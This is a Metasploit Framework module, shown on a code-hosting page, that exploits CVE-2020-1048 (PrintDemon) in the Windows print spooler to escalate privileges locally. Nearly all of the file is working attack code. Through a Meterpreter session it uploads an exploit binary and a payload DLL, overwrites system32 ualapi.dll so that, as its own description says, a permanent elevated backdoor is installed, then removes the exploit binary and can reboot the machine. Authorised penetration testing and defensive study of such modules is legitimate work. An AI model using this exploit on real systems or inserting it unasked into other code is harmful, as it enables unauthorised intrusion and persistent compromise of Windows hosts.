CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::Common
10
include Msf::Post::File
11
include Msf::Post::Windows::Priv
12
include Msf::Exploit::EXE
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
19
'Description' => %q{
20
This exploit leverages a file write vulnerability in the print spooler service
21
which will restart if stopped. Because the service cannot be stopped long
22
enough to remove the dll, there is no way to remove the dll once
23
it is loaded by the service. Essentially, on default settings, this module
24
adds a permanent elevated backdoor.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Yarden Shafir', # Original discovery
29
'Alex Ionescu', # Original discovery
30
'shubham0d', # PoC
31
'bwatters-r7' # msf module
32
],
33
'Platform' => ['win'],
34
'SessionTypes' => ['meterpreter'],
35
'Targets' => [
36
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
37
],
38
'DefaultTarget' => 0,
39
'DisclosureDate' => '2019-11-04',
40
'References' => [
41
['CVE', '2020-1048'],
42
['URL', 'https://windows-internals.com/printdemon-cve-2020-1048/']
43
],
44
'DefaultOptions' => {
45
'DisablePayloadHandler' => true
46
},
47
'Notes' => {
48
'Stability' => [ CRASH_OS_RESTARTS ],
49
'Reliability' => [ UNRELIABLE_SESSION ],
50
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
51
},
52
'Compat' => {
53
'Meterpreter' => {
54
'Commands' => %w[
55
stdapi_fs_delete_file
56
stdapi_sys_config_getenv
57
]
58
}
59
}
60
)
61
)
62
63
register_options([
64
OptString.new('EXPLOIT_NAME',
65
[true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
66
OptString.new('PAYLOAD_NAME',
67
[true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
68
OptString.new('WRITABLE_DIR',
69
[false, 'Path to write binaries (%TEMP% by default).', nil]),
70
OptString.new('OVERWRITE_DLL',
71
[false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),
72
OptBool.new('RESTART_TARGET',
73
[true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),
74
OptInt.new('EXECUTE_DELAY',
75
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
76
])
77
end
78
79
def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit: false)
80
# Upload Exploit
81
if target_arch == ARCH_X86
82
vprint_status('Using x86 binary')
83
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe')
84
else
85
vprint_status('Using x64 binary')
86
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe')
87
end
88
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
89
if file?(exploit_path)
90
print_error("#{exploit_path} already exists")
91
return false unless force_exploit
92
end
93
fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil?
94
write_file(exploit_path, exploit_bin)
95
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
96
97
# Run Exploit
98
vprint_status('Running Exploit')
99
begin
100
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}")
101
rescue Rex::TimeoutError => e
102
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
103
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
104
end
105
output
106
end
107
108
def exploit
109
exploit_name = datastore['EXPLOIT_NAME']
110
vprint_status("exploit_name = #{exploit_name}")
111
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
112
payload_name = datastore['PAYLOAD_NAME']
113
if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty?
114
win_dir = session.sys.config.getenv('windir')
115
overwrite_target = "#{win_dir}\\system32\\ualapi.dll"
116
else
117
overwrite_target = datastore['OVERWRITE_TARGET']
118
end
119
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
120
payload_path = "#{temp_path}\\#{payload_name}"
121
exploit_path = "#{temp_path}\\#{exploit_name}"
122
payload_dll = generate_payload_dll
123
124
# Check target
125
vprint_status('Checking Target')
126
validate_active_host
127
validate_payload
128
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
129
130
# Upload Payload
131
vprint_status('Uploading Payload')
132
ensure_clean_destination(payload_path)
133
write_file(payload_path, payload_dll)
134
print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
135
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
136
vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit")
137
sleep(datastore['EXECUTE_DELAY'])
138
139
# Run the exploit
140
output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture'])
141
vprint_status("Exploit output:\n#{output}")
142
sleep(1) # make sure exploit is finished
143
vprint_status("Removing #{exploit_path}")
144
session.fs.file.rm(exploit_path)
145
146
# Reboot, if desired
147
if datastore['RESTART_TARGET']
148
sleep(10)
149
vprint_status("Rebooting #{sysinfo['Computer']}")
150
reboot_command = 'shutdown /r'
151
begin
152
cmd_exec('cmd.exe', "/c #{reboot_command}")
153
rescue Rex::TimeoutError => e
154
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
155
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
156
end
157
end
158
end
159
160
def validate_active_host
161
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
162
rescue Rex::Post::Meterpreter::RequestError => e
163
elog('Could not connect to session', error: e)
164
raise Msf::Exploit::Failed, 'Could not connect to session'
165
end
166
167
def validate_payload
168
vprint_status("Target Arch = #{sysinfo['Architecture']}")
169
vprint_status("Payload Arch = #{payload.arch.first}")
170
unless payload.arch.first == sysinfo['Architecture']
171
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
172
end
173
end
174
175
def check
176
version = get_version_info
177
178
vprint_status("OS version: #{version}")
179
return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)
180
181
return Exploit::CheckCode::Safe
182
end
183
184
def ensure_clean_destination(path)
185
return unless file?(path)
186
187
print_status("#{path} already exists on the target. Deleting...")
188
begin
189
file_rm(path)
190
print_status("Deleted #{path}")
191
rescue Rex::Post::Meterpreter::RequestError => e
192
elog(e)
193
print_error("Unable to delete #{path}")
194
end
195
end
196
end
197
198